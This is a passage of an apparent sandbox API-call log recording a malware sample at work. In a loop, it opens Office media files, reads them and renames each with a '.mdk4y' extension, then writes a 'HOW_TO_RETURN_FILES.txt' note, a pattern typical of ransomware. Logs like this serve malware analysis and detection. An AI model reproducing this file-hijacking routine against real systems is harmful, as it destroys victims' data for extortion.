Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825806900000) returned 1 [0182.839] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xea2, lpOverlapped=0x0) returned 1 [0182.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825810800000) returned 1 [0182.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825810800000) returned 1 [0182.878] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf.mdk4y")) returned 1 [0182.880] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.880] AreFileApisANSI () returned 1 [0182.880] GetACP () returned 0x4e4 [0182.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18246_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18246_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.880] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825811100000) returned 1 [0182.881] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa28, lpOverlapped=0x0) returned 1 [0182.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825814100000) returned 1 [0182.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825814100000) returned 1 [0182.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf.mdk4y")) returned 1 [0182.936] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.936] AreFileApisANSI () returned 1 [0182.936] GetACP () returned 0x4e4 [0182.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18247_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18247_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.937] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825816700000) returned 1 [0182.938] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd68, lpOverlapped=0x0) returned 1 [0182.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825816900000) returned 1 [0182.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825816900000) returned 1 [0182.939] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf.mdk4y")) returned 1 [0182.940] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.940] AreFileApisANSI () returned 1 [0182.940] GetACP () returned 0x4e4 [0182.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18248_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18248_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.940] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825817100000) returned 1 [0182.941] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd70, lpOverlapped=0x0) returned 1 [0182.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825817200000) returned 1 [0182.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825817200000) returned 1 [0182.942] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf.mdk4y")) returned 1 [0182.943] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.943] AreFileApisANSI () returned 1 [0182.943] GetACP () returned 0x4e4 [0182.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18249_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18249_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.943] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825817400000) returned 1 [0182.944] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8a4, lpOverlapped=0x0) returned 1 [0182.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825820400000) returned 1 [0182.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825820400000) returned 1 [0182.974] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf.mdk4y")) returned 1 [0182.976] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.976] AreFileApisANSI () returned 1 [0182.976] GetACP () returned 0x4e4 [0182.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18250_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18250_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.976] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825820700000) returned 1 [0182.977] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x142e, lpOverlapped=0x0) returned 1 [0182.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825822100000) returned 1 [0182.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825822100000) returned 1 [0182.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf.mdk4y")) returned 1 [0182.992] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.992] AreFileApisANSI () returned 1 [0182.992] GetACP () returned 0x4e4 [0182.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18251_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18251_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.992] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825822300000) returned 1 [0182.993] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x90c, lpOverlapped=0x0) returned 1 [0182.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825822400000) returned 1 [0182.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825822400000) returned 1 [0182.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf.mdk4y")) returned 1 [0182.995] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.995] AreFileApisANSI () returned 1 [0182.995] GetACP () returned 0x4e4 [0182.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18252_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18252_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.995] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825822600000) returned 1 [0182.996] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x756, lpOverlapped=0x0) returned 1 [0183.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825824200000) returned 1 [0183.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825824200000) returned 1 [0183.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf.mdk4y")) returned 1 [0183.013] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.013] AreFileApisANSI () returned 1 [0183.013] GetACP () returned 0x4e4 [0183.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18253_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18253_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.013] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825824400000) returned 1 [0183.014] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6ac, lpOverlapped=0x0) returned 1 [0183.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825825500000) returned 1 [0183.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825825500000) returned 1 [0183.026] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf.mdk4y")) returned 1 [0183.027] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.027] AreFileApisANSI () returned 1 [0183.027] GetACP () returned 0x4e4 [0183.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18254_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18254_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.027] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825825900000) returned 1 [0183.029] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x796, lpOverlapped=0x0) returned 1 [0183.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825826000000) returned 1 [0183.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825826000000) returned 1 [0183.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf.mdk4y")) returned 1 [0183.031] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.031] AreFileApisANSI () returned 1 [0183.031] GetACP () returned 0x4e4 [0183.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18255_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18255_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825826200000) returned 1 [0183.032] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x822, lpOverlapped=0x0) returned 1 [0183.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825826300000) returned 1 [0183.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825826300000) returned 1 [0183.034] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf.mdk4y")) returned 1 [0183.034] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.035] AreFileApisANSI () returned 1 [0183.035] GetACP () returned 0x4e4 [0183.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18256_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18256_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.035] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825826500000) returned 1 [0183.035] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8ac, lpOverlapped=0x0) returned 1 [0183.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825826700000) returned 1 [0183.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825826700000) returned 1 [0183.037] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf.mdk4y")) returned 1 [0183.038] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.038] AreFileApisANSI () returned 1 [0183.038] GetACP () returned 0x4e4 [0183.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18257_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18257_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.038] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825826900000) returned 1 [0183.039] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x12ea, lpOverlapped=0x0) returned 1 [0183.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825827000000) returned 1 [0183.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825827000000) returned 1 [0183.041] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf.mdk4y")) returned 1 [0183.041] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0183.041] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0183.042] AreFileApisANSI () returned 1 [0183.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0183.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0183.043] GetFileType (hFile=0xd8) returned 0x1 [0183.044] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0183.044] AreFileApisANSI () returned 1 [0183.044] GetACP () returned 0x4e4 [0183.044] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BULLETS", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BULLETSP", lpUsedDefaultChar=0x37df4c) returned 7 [0183.044] AreFileApisANSI () returned 1 [0183.044] GetACP () returned 0x4e4 [0183.044] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\j\x04") returned 57 [0183.064] AreFileApisANSI () returned 1 [0183.064] GetACP () returned 0x4e4 [0183.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: 